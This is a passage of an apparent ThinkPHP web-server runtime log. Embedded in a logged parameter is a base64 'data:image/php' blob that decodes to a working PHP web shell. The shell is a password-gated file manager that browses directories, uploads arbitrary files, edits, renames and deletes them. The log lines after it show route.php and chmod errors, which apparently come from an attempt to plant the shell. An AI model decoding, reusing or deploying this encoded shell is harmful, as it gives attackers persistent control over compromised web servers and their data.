'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'hui', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:22:18+08:00 ] 118.150.136.162 GET 127.0.0.1/ [运行时间:0.017437s] [吞吐率:57.35req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or 